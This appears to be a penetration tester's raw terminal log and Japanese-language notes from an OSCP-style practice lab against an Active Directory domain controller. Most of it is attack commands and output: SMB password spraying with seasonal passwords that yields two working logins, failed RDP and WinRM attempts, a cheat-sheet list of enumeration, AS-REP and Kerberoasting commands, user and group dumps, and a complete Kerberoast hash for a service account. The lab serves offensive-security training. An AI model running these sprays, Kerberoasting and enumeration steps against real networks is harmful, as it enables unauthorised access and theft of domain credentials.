SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\iain.white:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\joanna.wood:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\bethan.webster:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\elaine.brady:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\christopher.lewis:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\megan.johnson:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\damien.chapman:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\joanne.lewis:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\matthew.harrison:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\emma.miah:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\rebecca.bell:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\scott.gardner:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\terry.edwards:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\holly.matthews:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\anne.jenkins:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\brett.naylor:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\melissa.mitchell:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\patrick.martin:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\kate.watson:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\kirsty.norris:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\andrea.hayes:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\abigail.hughes:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\melanie.watson:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\frances.ward:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\sylvia.king:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\wayne.hartley:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\iain.white:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\joanna.wood:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\bethan.webster:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\elaine.brady:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\christopher.lewis:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\megan.johnson:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\damien.chapman:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\joanne.lewis:Fall2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\matthew.harrison:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\emma.miah:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\rebecca.bell:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\scott.gardner:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\terry.edwards:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\holly.matthews:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\anne.jenkins:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\brett.naylor:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\melissa.mitchell:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\patrick.martin:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\kate.watson:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\kirsty.norris:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\andrea.hayes:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\abigail.hughes:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\melanie.watson:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\frances.ward:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\sylvia.king:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\wayne.hartley:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\iain.white:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\joanna.wood:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\bethan.webster:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\elaine.brady:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\christopher.lewis:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\megan.johnson:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\damien.chapman:Winter2023 STATUS_LOGON_FAILURE
SMB 192.168.212.21 445 NAGOYA [-] nagoya-industries.com\joanne.lewis:Winter2023 STATUS_LOGON_FAILURE
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\craig.carr:Spring2023
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\fiona.clark:Summer2023
craig.carr Spring2023
fiona.clark Summer2023
nxc winrm $T -u $USER -p "$PASS"
nxc winrm $T -u $USER -H $HASH
evil-winrm -i $T -u $USER -p "$PASS"
evil-winrm -i $T -u $USER -H $HASH
xfreerdp /v:$T /u:$USER /p:"$PASS" /cert:ignore
認証情報は入手できたが、winrmでは入れない。 xfreerdpでもkerberosのエラーが出てる
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ xfreerdp /v:192.168.212.21 /u:craig.carr /p:"Spring2023" /cert:ignore
[16:42:48:178] [356992:00057280] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[16:42:48:178] [356992:00057280] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[16:42:48:178] [356992:00057280] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
[16:42:48:178] [356992:00057280] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe in arguments from stdin, file or file descriptor
[16:42:48:178] [356992:00057280] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass the credential via stdin
[16:42:48:178] [356992:00057280] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment variable FREERDP_ASKPASS to have a gui tool query for credentials
[16:42:48:197] [356992:00057282] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[16:42:48:197] [356992:00057282] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5d -> no RDP scancode found
[16:42:48:199] [356992:00057282] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[16:42:48:538] [356992:00057282] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[16:42:48:538] [356992:00057282] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[16:42:48:538] [356992:00057282] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[16:42:48:540] [356992:00057282] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[16:42:48:540] [356992:00057282] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[16:42:48:774] [356992:00057282] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[16:42:48:774] [356992:00057282] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[16:42:48:776] [356992:00057282] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[16:42:49:100] [356992:00057282] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[16:42:49:101] [356992:00057282] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[16:42:49:101] [356992:00057282] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[16:42:49:101] [356992:00057282] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[16:42:49:101] [356992:00057282] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[16:42:49:335] [356992:00057282] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[16:42:49:335] [356992:00057282] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[16:42:49:335] [356992:00057282] [ERROR][com.freerdp.core] - [freerdp_connect]: freerdp_post_connect failed
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
hostsとkrb5.confを設定しても弾かれる
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ xfreerdp /v:192.168.212.21 /u:craig.carr /p:"Spring2023" /cert:ignore
[16:48:30:733] [360174:00057eee] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[16:48:30:733] [360174:00057eee] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[16:48:30:733] [360174:00057eee] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
[16:48:30:733] [360174:00057eee] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe in arguments from stdin, file or file descriptor
[16:48:30:733] [360174:00057eee] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass the credential via stdin
[16:48:30:735] [360174:00057eee] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment variable FREERDP_ASKPASS to have a gui tool query for credentials
[16:48:30:740] [360174:00057ef0] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[16:48:30:740] [360174:00057ef0] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5d -> no RDP scancode found
[16:48:30:751] [360174:00057ef0] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[16:48:31:082] [360174:00057ef0] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[16:48:31:082] [360174:00057ef0] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[16:48:31:082] [360174:00057ef0] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[16:48:31:970] [360174:00057ef0] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[16:48:31:970] [360174:00057ef0] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[16:48:31:973] [360174:00057ef0] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[16:48:32:304] [360174:00057ef0] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[16:48:32:304] [360174:00057ef0] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[16:48:32:304] [360174:00057ef0] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[16:48:33:176] [360174:00057ef0] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[16:48:33:176] [360174:00057ef0] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[16:48:33:176] [360174:00057ef0] [ERROR][com.freerdp.core] - [freerdp_connect]: freerdp_post_connect failed
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
smbの以下の列挙もチートシートに追加して
nxc smb 192.168.212.21 -u craig.carr -p Spring2023 --sessions
nxc smb 192.168.212.21 -u craig.carr -p Spring2023 --loggedon-users
nxc smb 192.168.212.21 -u craig.carr -p Spring2023 --rid-brute
nxc ldap 192.168.212.21 -u craig.carr -p Spring2023 --users
nxc ldap 192.168.212.21 -u craig.carr -p Spring2023 --groups
nxc ldap 192.168.212.21 -u craig.carr -p Spring2023 --bloodhound
bloodhound-python -u craig.carr -p Spring2023 -d nagoya-industries.com -ns 192.168.212.21 -c All
nxc smb 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023"
nxc ldap 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023" --users
nxc ldap 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023" --groups
nxc ldap 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023" --bloodhound --collection All --dns-server 192.168.212.21
impacket-GetNPUsers nagoya-industries.com/ -usersfile users.txt -dc-ip 192.168.212.21 -no-pass
impacket-GetUserSPNs nagoya-industries.com/craig.carr:"Spring2023" -dc-ip 192.168.212.21 -request
nxc smb 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023"
nxc smb 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023" --shares
nxc ldap 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023" --users
nxc ldap 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023" --groups
nxc ldap 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023" --bloodhound --collection All --dns-server 192.168.212.21
impacket-GetNPUsers nagoya-industries.com/ -usersfile users.txt -dc-ip 192.168.212.21 -no-pass
impacket-GetUserSPNs nagoya-industries.com/fiona.clark:"Summer2023" -dc-ip 192.168.212.21 -request
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023"
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\craig.carr:Spring2023
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023" --shares
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\craig.carr:Spring2023
SMB 192.168.212.21 445 NAGOYA [*] Enumerated shares
SMB 192.168.212.21 445 NAGOYA Share Permissions Remark
SMB 192.168.212.21 445 NAGOYA ----- ----------- ------
SMB 192.168.212.21 445 NAGOYA ADMIN$ Remote Admin
SMB 192.168.212.21 445 NAGOYA C$ Default share
SMB 192.168.212.21 445 NAGOYA IPC$ READ Remote IPC
SMB 192.168.212.21 445 NAGOYA NETLOGON READ Logon server share
SMB 192.168.212.21 445 NAGOYA SYSVOL READ Logon server share
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc ldap 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023" --users
LDAP 192.168.212.21 389 NAGOYA [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)
LDAP 192.168.212.21 389 NAGOYA [+] nagoya-industries.com\fiona.clark:Summer2023
LDAP 192.168.212.21 389 NAGOYA [*] Enumerated 35 domain users: nagoya-industries.com
LDAP 192.168.212.21 389 NAGOYA -Username- -Last PW Set- -BadPW- -Description-
LDAP 192.168.212.21 389 NAGOYA Administrator 2023-05-02 00:43:05 0 Built-in account for administering the computer/domain
LDAP 192.168.212.21 389 NAGOYA Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 192.168.212.21 389 NAGOYA krbtgt 2023-04-30 15:32:12 0 Key Distribution Center Service Account
LDAP 192.168.212.21 389 NAGOYA svc_helpdesk 2023-04-30 16:31:06 0
LDAP 192.168.212.21 389 NAGOYA Matthew.Harrison 2023-04-30 16:36:19 0
LDAP 192.168.212.21 389 NAGOYA Emma.Miah 2023-04-30 16:36:19 0
LDAP 192.168.212.21 389 NAGOYA Rebecca.Bell 2023-04-30 16:36:19 0
LDAP 192.168.212.21 389 NAGOYA Scott.Gardner 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Terry.Edwards 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Holly.Matthews 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Anne.Jenkins 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Brett.Naylor 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Melissa.Mitchell 2023-04-30 16:36:21 0
LDAP 192.168.212.21 389 NAGOYA Craig.Carr 2023-04-30 18:09:46 0
LDAP 192.168.212.21 389 NAGOYA Fiona.Clark 2023-04-30 18:09:30 0
LDAP 192.168.212.21 389 NAGOYA Patrick.Martin 2023-04-30 16:36:21 0
LDAP 192.168.212.21 389 NAGOYA Kate.Watson 2023-04-30 16:36:21 0
LDAP 192.168.212.21 389 NAGOYA Kirsty.Norris 2023-04-30 16:36:21 0
LDAP 192.168.212.21 389 NAGOYA Andrea.Hayes 2023-04-30 18:09:21 0
LDAP 192.168.212.21 389 NAGOYA Abigail.Hughes 2023-04-30 16:36:22 0
LDAP 192.168.212.21 389 NAGOYA Melanie.Watson 2023-04-30 16:36:22 0
LDAP 192.168.212.21 389 NAGOYA Frances.Ward 2023-04-30 16:36:22 0
LDAP 192.168.212.21 389 NAGOYA Sylvia.King 2023-04-30 16:36:22 0
LDAP 192.168.212.21 389 NAGOYA Wayne.Hartley 2023-04-30 16:36:23 0
LDAP 192.168.212.21 389 NAGOYA Iain.White 2023-04-30 16:36:36 0
LDAP 192.168.212.21 389 NAGOYA Joanna.Wood 2023-04-30 16:36:37 0
LDAP 192.168.212.21 389 NAGOYA Bethan.Webster 2023-04-30 16:36:37 0
LDAP 192.168.212.21 389 NAGOYA Elaine.Brady 2023-04-30 16:36:44 0
LDAP 192.168.212.21 389 NAGOYA Christopher.Lewis 2023-04-30 16:36:44 0
LDAP 192.168.212.21 389 NAGOYA Megan.Johnson 2023-04-30 16:36:44 0
LDAP 192.168.212.21 389 NAGOYA Damien.Chapman 2023-04-30 16:36:45 0
LDAP 192.168.212.21 389 NAGOYA Joanne.Lewis 2023-04-30 16:36:45 0
LDAP 192.168.212.21 389 NAGOYA svc_mssql 2023-04-30 16:45:33 0
LDAP 192.168.212.21 389 NAGOYA svc_tpl 2023-04-30 17:09:39 0
LDAP 192.168.212.21 389 NAGOYA svc_web 2023-04-30 17:44:10 0
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc ldap 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023" --groups
LDAP 192.168.212.21 389 NAGOYA [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)
LDAP 192.168.212.21 389 NAGOYA [+] nagoya-industries.com\fiona.clark:Summer2023
LDAP 192.168.212.21 389 NAGOYA Administrators membercount: 3
LDAP 192.168.212.21 389 NAGOYA Users membercount: 3
LDAP 192.168.212.21 389 NAGOYA Guests membercount: 2
LDAP 192.168.212.21 389 NAGOYA Print Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Backup Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Replicator membercount: 0
LDAP 192.168.212.21 389 NAGOYA Remote Desktop Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Network Configuration Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Performance Monitor Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Performance Log Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Distributed COM Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA IIS_IUSRS membercount: 0
LDAP 192.168.212.21 389 NAGOYA Cryptographic Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Event Log Readers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Certificate Service DCOM Access membercount: 0
LDAP 192.168.212.21 389 NAGOYA RDS Remote Access Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA RDS Endpoint Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA RDS Management Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Hyper-V Administrators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Access Control Assistance Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Remote Management Users membercount: 1
LDAP 192.168.212.21 389 NAGOYA Storage Replica Administrators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Domain Computers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Domain Controllers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Schema Admins membercount: 1
LDAP 192.168.212.21 389 NAGOYA Enterprise Admins membercount: 1
LDAP 192.168.212.21 389 NAGOYA Cert Publishers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Domain Admins membercount: 1
LDAP 192.168.212.21 389 NAGOYA Domain Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Domain Guests membercount: 0
LDAP 192.168.212.21 389 NAGOYA Group Policy Creator Owners membercount: 1
LDAP 192.168.212.21 389 NAGOYA RAS and IAS Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Server Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Account Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Pre-Windows 2000 Compatible Access membercount: 1
LDAP 192.168.212.21 389 NAGOYA Incoming Forest Trust Builders membercount: 0
LDAP 192.168.212.21 389 NAGOYA Windows Authorization Access Group membercount: 1
LDAP 192.168.212.21 389 NAGOYA Terminal Server License Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Allowed RODC Password Replication Group membercount: 0
LDAP 192.168.212.21 389 NAGOYA Denied RODC Password Replication Group membercount: 8
LDAP 192.168.212.21 389 NAGOYA Read-only Domain Controllers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Enterprise Read-only Domain Controllers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Cloneable Domain Controllers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Protected Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Key Admins membercount: 0
LDAP 192.168.212.21 389 NAGOYA Enterprise Key Admins membercount: 0
LDAP 192.168.212.21 389 NAGOYA DnsAdmins membercount: 0
LDAP 192.168.212.21 389 NAGOYA DnsUpdateProxy membercount: 0
LDAP 192.168.212.21 389 NAGOYA SQLServer2005SQLBrowserUser$NAGOYA membercount: 0
LDAP 192.168.212.21 389 NAGOYA employees membercount: 21
LDAP 192.168.212.21 389 NAGOYA helpdesk membercount: 4
LDAP 192.168.212.21 389 NAGOYA developers membercount: 5
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ impacket-GetUserSPNs nagoya-industries.com/fiona.clark:"Summer2023" -dc-ip 192.168.212.21 -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------------- ------------ ------------------------------------------------ -------------------------- -------------------------- ----------
http/nagoya.nagoya-industries.com svc_helpdesk CN=helpdesk,CN=Users,DC=nagoya-industries,DC=com 2023-04-30 16:31:06.190955 <never>
MSSQL/nagoya.nagoya-industries.com svc_mssql 2023-04-30 16:45:33.288595 2024-08-02 10:48:41.441299
[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc_helpdesk$NAGOYA-INDUSTRIES.COM$nagoya-industries.com/svc_helpdesk*$1f5b8b43a40e85dda7d0358a53762b7d$5a42ffe21eb1d60c64737ca60c2cd9c75c35f90d0b5a5688d4bdc71a7ae634b66ecf4c0d55f2744938c93472175feb98ac9fb488e7d62bb57e4c02c0f6a956d59e73f97706b380ce8b39d5f82983e7860056e3e904d1410098a8a9d317273814f2be87c6e29b41367371f93b3035f0430889c2f8cbb27191a0a0ed4909ad0065295e22d8fb1bfc8ab7878a2232927f9056c8c57c609b06c6b6055b7f0304d063deb1360830f103d90e454952c1c3166517c8ef5892e9192b6b3ad84779b83acff6fc851bb3fadecda77933c6093d5ea8c6b114c64e35b0715b63ed778604e89c14cdb1b367f7619c9e5c0421bb4f260fc36c60cff66b802c4a1876117c4119d2b24a4ff4e844cd6465f153f98f20c07f90bd08da255ac70797abfd827a413029a301d5b6c7549e5f4734ab48d0762ecce4764b7dca6e96e403d01f281e9eec879145f8c36c050f79c08394831be366ecb6ba71005efb60368f855a253fbf8f42663b4a530877cc4ada0c1ac42d4f46d6da4cbdcde2c0987c75860647436f5b3dc709f31d2a32776068bf9b421cc910f1d6b212c7f75e94cfc9348c6b155be1d844cb8748f25b2c244a5de28c0107a3d3e44b7c0fb37df022b3a8c8253a7f4ebb2dcd2dccfa833326c05098dffe71cb1889ec627516e156ae97dbbe04596b109666b31352af4a33a7e227f008bc16407645b99caedeb47d241c00ac82f51ba71892f8111acd411f3cc149847b9a1761efc1de3303c461e5e2bbe6e5b5b46128339185275608a1164df9202d46f898aa59d3f5b0edd86b257384d169b3d8de6b52280a2414d00e0d998e9a44d63e39fccd96432d455729a641fc625f46a568eff2283edcae87fe332abe0271e3d39696805631d58a3011fcdafecad6516f9443ed69543712437830aa45fbe6a7fc240f3984549d8e1a62b6ce401b52c899299e63fc22713bb2633fe35e914b3ff1e0409b66974d68ed9c7819ced4770303611a71927277d1ab4e18d1d2f0ebba85431927583d8642a708e0ec1ed3df3da1cd131f887925acde517e57d819411ceb9901a7d39788f16090654ad9893bbc052e6c1718d6c443c901257c64fba2e91db598c7e538376b4e2d1c9cf1007cca641cb4ef429faa90725ab8f009d84afabdc0769b15193aa490796d39c13a14bf69e849da7e50a00b242cc3649d23c5601d8016d3c1a890b3da9946e222ffb4f2b5d575d82dbd06373bfe56f58402c453a2125c2e4b560347a6f54b0a5074c9ffa9deb096e8a2c825dbe55016de4ac010173c2cffd47a6240b44a5f894e35e69d995f0748c5e1b19b80ba1cec3776b811661c6b27117ef9191346f7cb295cf1b41c37736bcb8b39efbf587767e93088860ca01144de502e14a3fe308d564b3da1eb89097c2